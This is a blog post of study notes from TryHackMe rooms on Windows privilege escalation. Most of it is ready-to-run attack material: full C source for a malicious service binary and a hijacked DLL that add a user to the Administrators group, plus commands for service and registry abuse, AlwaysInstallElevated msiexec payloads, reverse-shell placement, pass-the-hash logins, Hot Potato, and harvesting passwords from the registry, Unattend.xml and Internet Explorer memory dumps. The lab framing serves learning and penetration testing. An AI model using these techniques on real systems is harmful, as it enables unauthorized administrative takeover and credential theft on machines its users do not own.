TryHackMe | Windows Privilege Escalation

In this post, I summarize lessons learned from two rooms covering Windows Privilege Escalation on TryHackMe

8 months ago   •   4 min read

By 0xBEN
Table of contents

Rooms

These are just some of the things you can try to escalate privilege on a Windows system. This is not meant to be an exhaustive list.





Registry

Autorun

Method 1: Registry

  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • Check for autorun programs
  • accesschk.exe /accepteula -wvu C:\Program Files\Autorun Program\
    • If any of the files are writable, can overwrite with a reverse shell payload
    • When an administrative user logs on, we can get an elevated shell
    • Need to have listener running continuously to catch logons

AlwaysInstallElevated

  • reg query HKLM\Software\Policies\Microsoft\Windows\Installer
  • reg query HKCU\Software\Policies\Microsoft\Windows\Installer
  • If either of those queries return 1, can get an elevated shell
  • Use msfvenom to create an .msi payload and run it on the target
    • Start a listener
    • Run msiexec /quiet /qn /i <path to msi>




Services

HKLM:\System\CurrentControlSet\services\regsvc

  • PowerShell: Get-Acl hklm:\System\CurrentControlSet\services\regsvc
    • NT Authority\Interactive has FullControl
  • Create a dummy Windows service
    • Modify the source code here
    • Enter the command in system()
    • Use the command cmd.exe /k net localgroup administrators user /add
    • Add the current user to the Administrators local group
  • In Kali, compile the .c code to a .exe
    • x86_64-w64-mingw32-gcc windows_service.c -o privesc.exe
    • Transfer privesc.exe to a writable folder on the target
  • Register and start the service
    • reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d [C:\Path\to\privesc.exe] /f
    • sc start regsvc
  • Confirm the current user has been added to the local administrator group

windows_service.c

#include <windows.h>  
#include <stdio.h>  
  
#define SLEEP_TIME 5000  
  
SERVICE_STATUS ServiceStatus;    
SERVICE_STATUS_HANDLE hStatus;    
   
void ServiceMain(int argc, char** argv);    
void ControlHandler(DWORD request);    
  
//add the payload here  
int Run()    
{    
   system("cmd.exe /k net localgroup administrators user /add");  
   return 0;    
}    
  
int main()    
{    
   SERVICE_TABLE_ENTRY ServiceTable[2];  
   ServiceTable[0].lpServiceName = "MyService";  
   ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;  
  
   ServiceTable[1].lpServiceName = NULL;  
   ServiceTable[1].lpServiceProc = NULL;  
   
   StartServiceCtrlDispatcher(ServiceTable);     
   return 0;  
}  
  
void ServiceMain(int argc, char** argv)    
{    
   ServiceStatus.dwServiceType        = SERVICE_WIN32;    
   ServiceStatus.dwCurrentState       = SERVICE_START_PENDING;    
   ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN  
;  
   ServiceStatus.dwWin32ExitCode      = 0;    
   ServiceStatus.dwServiceSpecificExitCode = 0;    
   ServiceStatus.dwCheckPoint         = 0;    
   ServiceStatus.dwWaitHint           = 0;    
   
   hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandl  
er);    
   Run();    
      
   ServiceStatus.dwCurrentState = SERVICE_RUNNING;    
   SetServiceStatus (hStatus, &ServiceStatus);  
   
   while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)  
   {  
               Sleep(SLEEP_TIME);  
   }  
   return;    
}  
  
void ControlHandler(DWORD request)    
{    
   switch(request)    
   {    
       case SERVICE_CONTROL_STOP:    
                       ServiceStatus.dwWin32ExitCode = 0;    
           ServiceStatus.dwCurrentState  = SERVICE_STOPPED;    
           SetServiceStatus (hStatus, &ServiceStatus);  
           return;    
   
       case SERVICE_CONTROL_SHUTDOWN:    
           ServiceStatus.dwWin32ExitCode = 0;    
           ServiceStatus.dwCurrentState  = SERVICE_STOPPED;    
           SetServiceStatus (hStatus, &ServiceStatus);  
           return;    
          
       default:  
           break;  
   }    
   SetServiceStatus (hStatus,  &ServiceStatus);  
   return;    
}

File Permissions Service

  • sc qc filepermsvc
    • Runs as SYSTEM
  • accesschk64.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
    • If Everyone has FILE_ALL_ACCESS, we can overwrite a system file
  • Using the windows_service.c service from before
    • Or, could be a reverse shell to spawn a SYSTEM shell
    • Copy privesc.exe as C:\Program Files\File Permissions Service\filepermservice.exe
    • Run sc start filepermsvc
    • Current user should have been added to local administrator group

DLL Hijacking

  • A service loads a DLL from a directory where we have write permissions
    • We can determine this by running procmon on the target
    • Or by running the executable copied from the target on a test machine
  • We can create a malicious DLL that will be loaded by the service instead
    • Compile the C code to DLL: x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijacked.dll
    • Run sc start <service>
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll  
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll  
  
#include <windows.h>  
  
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {  
   if (dwReason == DLL_PROCESS_ATTACH) {  
       system("cmd.exe /k net localgroup administrators user /add");  
       ExitProcess(0);  
   }  
   return TRUE;  
}

Insecure Service Permissions

  • accesschk.exe /accepteula -uwcqv daclsvc
  • accesschk64.exe /accepteula -wuvc daclsvc
  • Query the service sc qc daclsvc may run as System
  • If we have SERVICE_CHANGE_CONFIG, we can manipulate a service
  • sc config daclsvc binpath= "net localgroup administrators user /add"
  • sc start daclsvc
  • Should now be a member of the local administrator group

Unquoted Service Path

  • sc qc <service> to query a service
  • Especially useful if a service is running as NT Authority\SYSTEM
  • If a service's BINARY_PATH_NAME is not wrapped in quotes
    • Example: C:\Program Files\Service Directory\awesome.exe
    • We need to find if any part of that path is writable
    • If C:\ is writable, we can create a Program.exe payload
    • If C:\Program Files\ is writable, we can a create Service.exe payload
    • If C:\Program Files\Service Directory\ is writable, we can create an awesome.exe payload




Startup Applications

  • In a lower privileged shell, run icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
    • If BUILTIN\Users has (F), we can add a payload there
    • Use msfvenom to generate a reverse shell exe payload
    • Put the payload in the folder
    • Start a listener
    • Wait for an admin to login




Passing the Hash

pth-winexe

  • pth-winexe -U 'username%hash' //MACHINE_IP cmd.exe
  • If you have a hash of a user




Scheduled Tasks

  • Check for scheduled tasks running as privileged accounts
  • If running a script, check the permissions on the script
  • accesschk.exe /accepteula -quvw user C:\path\to\script
    • May be able to overwrite or modify the script contents
    • Could run a command or reverse shell




Hot Potato

Invoke-Tater

  • Invoke-Tater.ps1
  • If the host is vulnerable to the Hot Potato privilege escalation, will run commands as System
  • Import the script
  • Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
  • Current user should now be a member of the local administrators group




Password Mining

Registry

  • reg query HKLM /f password /t REG_SZ /s
    • Search for the word password recursively
  • reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
    • Might be something here as a quick search
  • Spawn an admin shell from Kali
    • winexe -U 'username%password' //target-ip cmd.exe

cmdkey

  • cmdkey /list to list any saved credentials
  • Start a reverse shell as the user runas /savecred /user:username C:\PrivEsc\reverse.exe

C:\Windows\Panther\Unattend.xml

  • Check the <Password> property for a base64 encoded password

Internet Explorer Memory Dump

  • msfconsole
    • use auxiliary/server/capture/http_basic
    • set uripath pwn
    • run
  • Victim
    • Open Internet Explorer
    • Go to http://kali-ip/pwn
    • Open Task Manager
    • Right-click iexpore.exe > Image Name > Create Dump File
    • Transfer the .DMP file to Kali
  • Kali
    • strings file.DMP | grep "Authorization: Basic"
    • echo -ne "base64string" | base64 -d




GUI Apps

Run as Admin

  • If a GUI app is set to run as admin at launch
    • Example: MS Paint
      • Launch Paint
        • File > Open
        • Enter file://C:/Windows/System32/cmd.exe




Kernel Exploits

Scripts

  • Can run exploit suggesting scripts to detect kernel exploits
  • winPEASany.exe
  • Seatbelt.exe
  • PowerUp.ps1
  • SharpUp.exe

Spread the word

Keep reading